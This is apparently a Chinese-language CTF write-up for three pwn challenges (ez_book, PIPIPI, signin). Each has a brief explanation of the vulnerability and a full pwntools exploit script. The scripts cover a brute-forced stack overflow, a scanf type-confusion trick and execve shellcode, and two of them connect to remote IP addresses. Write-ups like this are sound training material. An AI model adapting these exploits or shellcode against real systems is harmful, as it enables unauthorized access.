ez_book

没有禁用 stderr ,会申请一个缓存堆块堆块,里面记录有全部的输入输出的信息,也就包含随机数。利用栈溢出,从 book name 那低地址覆盖 random num 地址爆破

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
#context.log_level = 'debug'

def res(name,pwd):
p.sendlineafter(">\n",str(2))
p.sendlineafter(":",pwd)
p.sendlineafter(":",name)

#p = process("./main")

def exp():
res("admin".ljust(0x10,'\x00')+'\x90\x74',"b")
p.sendlineafter(">\n",str(1))
p.sendlineafter(":","flag")

#gdb.attach(p,"b *$rebase(0xF5C)")
#raw_input()
print p.recvuntil('}',timeout=1)

p.interactive()

i=0
while i<2560:
try:
#p = process("./main")
p = remote("113.201.14.253",38002)
exp()
break
except:
p.close()
i+=1

PIPIPI

2020 年 DASCTF 12月赛原题 PI 基础上改过来的

自己的 WP 忘记丢哪里了,贴一下其他师傅的:https://www.cnblogs.com/b1ank/p/14193977.html

这里有个整数溢出,是 %llu 和 unsigned int v1,float v2 构成的漏洞。

首先在 gcc 中,unsigned int 和 float 都占四字节,而 %llu 接受八个字节的输入。

而 scanf 函数中的 &v1 只是用来提供首地址,写入多少数据,只受格式 “%llu” 影响,所以我们可以尝试构造八个字节使 v1 为 0 , v2 为 3.141592 。

写个程序可知 3.141592 在程序中是以 40490FDA 储存的。即构造 40 49 0F DA 00 00 00 00 使在输入完 v1 后可以同时使 v1 为 0 , v2 为 40490FDA ,输入 40490FDA00000000 的十进制,即可得到 flag 。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'

debug = 0
localfile = "./fun"
ip = ""
port = ''

if debug == 1:
p = process(localfile)
else:
p = remote("113.201.14.253",30000)

#gdb.attach(p,"b *$rebase(0xD10)")
#raw_input()

payload = 0x80 * 'a'
p.recvuntil('UserName\n')
p.sendline(payload)
p.recvuntil(payload)
pwd = int(p.recv(10))
print "pwd:",hex(pwd)
p.recvuntil('PassWord\n')
p.sendline(p64(pwd))

#p.recvuntil('N =')
p.sendline('1')
p.sendline('4632251120704552960')

p.interactive()

signin

和 2021 祥云杯 JigSaw’sCage 如出一辙,只是不用整形溢出将堆段加上可执行权限,这题直接给好了

需要修改 shellcode 一下,主要是 rsi 的值变成 1 ,祥云杯是 0

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'debug'
e = ELF("./main")
context.binary = e
p = process(['./main'])
#p = remote("47.104.71.220",10273)

def add(idx):
p.sendlineafter('Choice : ','1')
p.sendlineafter('Index? : ',str(idx))

def edit(idx,content):
p.sendlineafter('Choice : ','2')
p.sendlineafter('Index? : ',str(idx))
p.sendafter('iNput:', content)

def delete(idx):
p.sendlineafter('Choice : ','3')
p.sendlineafter('Index? : ',str(idx))

def test(idx):
p.sendlineafter('Choice : ','4')
p.sendlineafter('Index? : ',str(idx))

#p.sendafter('Name:\n','PWN')
#p.sendlineafter('Choice:',str(0xE<<32))
#p.sendlineafter('Choice:',str(0))

add(0)
add(1)
edit(1,'/bin/sh\x00')
payload = asm('add dl,0x20;xor esi,esi;xchg rdi,rdx;push rsi;pop rax;mov al,59;syscall;')
edit(0,payload)

gdb.attach(p,"b *$rebase(0xE9F)")
raw_input()

sleep(0.2)
test(0)


p.interactive()

if __name__ == '__main__':
pass